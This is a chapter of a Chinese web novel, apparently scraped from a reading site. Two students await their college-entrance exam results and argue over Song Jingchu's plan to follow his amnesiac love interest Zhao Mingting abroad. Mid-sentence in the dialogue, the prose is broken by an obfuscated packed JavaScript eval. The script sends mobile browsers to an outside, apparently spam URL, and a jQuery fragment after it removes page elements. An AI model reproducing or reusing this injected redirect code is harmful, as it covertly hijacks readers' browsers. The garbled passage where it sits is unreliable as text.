今年的状元竞争激烈,不知会花落谁家,前有外国语学校出了个理科战神,连着十次模考理综全部接近满分,后有一中顶级文科战士,文综直逼295,不走保送偏要参加高考,最后一次模考,实中又冒出来个天才,一举夺下十模榜首,也选择了放弃保送,说要证明实力,体验人生。 出分那一日,几乎所有学校都在焦灼地等待,甚至比考生更加紧张。 宋家客厅里,所有人都焦虑地坐在电脑前,反倒是宋景初和赵颜薇不怎么放在心上,正窝在沙发里一个打游戏,一个刷视频,毕竟两人对自己的实力心里有数,该考多少就考多少,对完答案之后心里大概就估出来了。 赵颜薇第一志愿准备报首都大,宋景初原本也打算报这个,但是听说本市的大学今年新生有交换生名额,于是就默默地修改了志愿。 分数还没查出来,电话就先打过来了,两家父母几乎是同时接到了首都大的电话,紧接着另几家高校的电话也打过来了,一时间喜讯接连不断,整个客厅里都洋溢着兴奋愉悦的气息,赵颜薇和宋景初相视一笑,宋景初道:“恭喜你,首都大,你的梦想终于实现了。” 赵颜薇一甩艳丽的红发,挑眉道:“也不看看本小姐是谁。” 宋景初笑着道:“是是是,大小姐威武。” 赵颜薇被哄的心花怒放,也嘴甜了一次道:“也恭喜你啊,云大肯定会录取你,你成绩这么高,拿个交换生名额简直就是板上钉钉的事。” 宋景初笑而不语。 赵颜薇调侃道:“不过你也真是用情至深了,小叔连你是谁都不记得了,你居然还能眼巴巴地凑上去,热脸贴人家冷屁股,我倒是好奇,你怎么会知道七月份他要回英国。” 宋景初一耸肩道:“江夏自己说漏嘴了。” 赵颜薇饶有兴趣道:“江夏居然也会犯错啊,我以为他是机器人呢,他说了什么说漏嘴的?” “报志愿前两天我去找他借球杆,他说球杆已经打包好了,过两天就要寄出去,没办法再外借了。” 赵颜薇疑惑道:“万一他只是要把球杆寄给别人用呢?” “不可能。”宋景初极为自信地一挑眉。 “你怎么就这么肯定?” “那根球杆是我送给明庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561449|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的礼物,或许明庭已经忘记了这根球杆有多重要,但江夏不可能忘记。” 赵颜薇拍了拍手:“绝,可我还是想不明白,江夏告诉你他要把球杆寄到英国庄园了吗?” “没有。” “那你怎么肯定的?” 宋景初笑道:“因为我故意多问了几句,问他球杆寄给谁了,我还要等多少天才能借到,他回答的含糊不清,选择性跳过了这个问题,并且说球杆月末寄到目的地,之后估计也没办法再借给我了,快递二十号寄出,月末才能到,这不像是国内的邮寄速度,倒有些像是国际快递走水路。” “谁说男人心思粗的,你这个洞察能力,简直比我还可怕。”赵颜薇咂了咂舌,转而又问道:“那万一小叔只是把一部分东西搬回英国,人却没回去你该怎么办?他手上的产业几乎全部移交到了你爸手里,由你爸海外的管理层进行经营,他再回英国也没什么必要了,毕竟叶家的祖宅还在中国。” “我看过他的签证,有效期只有一年。” 赵颜薇翻了个白眼:“万一他续签呢?或者放弃英籍加入中国籍?” 宋景初反问:“中国籍是那么好拿的吗?” “说的也是,小海棠就是美籍的,折腾了这么多年,一直没拿到绿卡。”赵颜薇叹气道:“她家够有钱了吧,这些年捐的也不算少,该是美国的还不是乖乖呆在美国了?想回来?早当初干嘛去了,爹妈非要学人家把孩子加入美籍,这下后悔了吧。” “话扯远了。” “哦。”赵颜薇一本正经地分析道:“不过你这联想能力确实挺可以的啊,江夏就寄个球杆都能被你发现要回英国了,我说如果,如果昂,如果小叔真没回去,留在中国了,那你怎么办?” “我提前和云大的教授,也就是秦叔叔了解过,这个项目只进行一个学期。” “所以你也是带点儿赌的成分?”赵颜薇一脸无语道:“那你为什么非要去国外跟他谈恋爱啊,在国内直接就说明白不行吗?真是的,绕来绕去的烦不烦啊。” “国内容易让他回想起之前那些事。” “国外他就想不起来了吗?”赵颜薇摆摆手道:“快别自欺欺人了,他记得最深刻的是你这个人,又不是那个破园子,我说白了你就是还想和他在一起,又怕他想起之前的事病情复发,可是你要知道啊,阿水都说了,mect只是短暂起作用,现在他确实是忘记了,谁也不记得,可慢慢的,半年,一年以后,他的记忆还是会逐渐恢复的,所以重要的不是让他遗忘,而是让他接受。” 宋景初沉默了。 道理他都懂,可是他就是私心不想让赵明庭想起之前的事,还想重新来过。 赵颜薇尖锐地点评道:“重新来过你就会改吗?你说让他别记起就一辈子都让他活得稀里糊涂吗?做人不要太自信,也别太自私,没有足够的能力去救赎人家就不要一腔热血了,害人又害己。” 宋景初彻底说不出话了。 他懂,他全都知道,他什么都明白。 可他就是忘不掉,也放不下。